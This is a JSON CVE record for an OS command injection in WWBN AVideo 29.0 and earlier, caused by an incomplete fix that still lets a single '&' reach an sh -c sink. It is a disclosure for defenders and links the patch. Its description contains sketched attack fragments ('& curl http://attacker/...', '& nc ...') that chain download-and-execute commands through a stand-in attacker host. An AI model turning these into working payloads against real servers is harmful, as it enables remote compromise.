{"id":"CVE-2026-55173","state":"PUBLISHED","title":"AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink","description":"WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \\n, \\r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.","publishedAt":"2026-07-16T20:41:26.345Z","updatedAt":"2026-07-17T13:44:36.168Z","severity":{"score":8.1,"label":"High","version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"GitHub_M"},"assigner":"GitHub_M","products":["WWBN AVideo"],"affected":[{"vendor":"WWBN","product":"AVideo","versions":[{"version":"<= 29.0","status":"affected"}]}],"references":["https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f","https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f"],"weaknesses":["CWE-78"],"ingestedAt":"2026-10-29T20:12:24.861Z","source":{"repository":"CVEProject/cvelistV5","path":"cves/2026/55xxx/CVE-2026-55173.json","commit":"556c9d3a8cd17e218bb8e452ba7cd619a384ff47"},"raw":{"dataType":"CVE_RECORD","dataVersion":"5.2","cveMetadata":{"cveId":"CVE-2026-55173","state":"PUBLISHED","datePublished":"2026-07-16T20:41:26.345Z","dateUpdated":"2026-07-17T13:44:36.168Z","assignerShortName":"GitHub_M","assignerOrgId":"a0819718-46f1-4df5-94e2-005712e83aaa","dateReserved":"2026-06-16T15:20:43.085Z"},"containers":{"cna":{"title":"AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink","descriptions":[{"lang":"en","value":"WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \\n, \\r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f."}],"affected":[{"vendor":"WWBN","product":"AVideo","versions":[{"version":"<= 29.0","status":"affected"}]}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f","name":"https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f","tags":["x_refsource_CONFIRM"]},{"url":"https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f","name":"https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f","tags":["x_refsource_MISC"]}],"metrics":[{"cvssV3_1":{"attackComplexity":"HIGH","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":8.1,"baseSeverity":"HIGH","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"NONE","scope":"UNCHANGED","userInteraction":"NONE","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","version":"3.1"}}],"problemTypes":[{"descriptions":[{"cweId":"CWE-78","lang":"en","description":"CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","type":"CWE"}]}],"providerMetadata":{"shortName":"GitHub_M","orgId":"a0819718-46f1-4df5-94e2-005712e83aaa","dateUpdated":"2026-07-16T20:41:26.345Z"},"source":{"advisory":"GHSA-wc3f-xc32-435f","discovery":"UNKNOWN"}},"adp":[{"title":"CISA ADP Vulnrichment","references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f","tags":["exploit"]}],"metrics":[{"other":{"type":"ssvc","content":{"timestamp":"2026-07-17T13:44:11.844066Z","id":"CVE-2026-55173","options":[{"Exploitation":"poc"},{"Automatable":"no"},{"Technical Impact":"total"}],"role":"CISA Coordinator","version":"2.0.3"}}}],"providerMetadata":{"shortName":"CISA-ADP","orgId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","dateUpdated":"2026-07-17T13:44:36.168Z"}}]}}}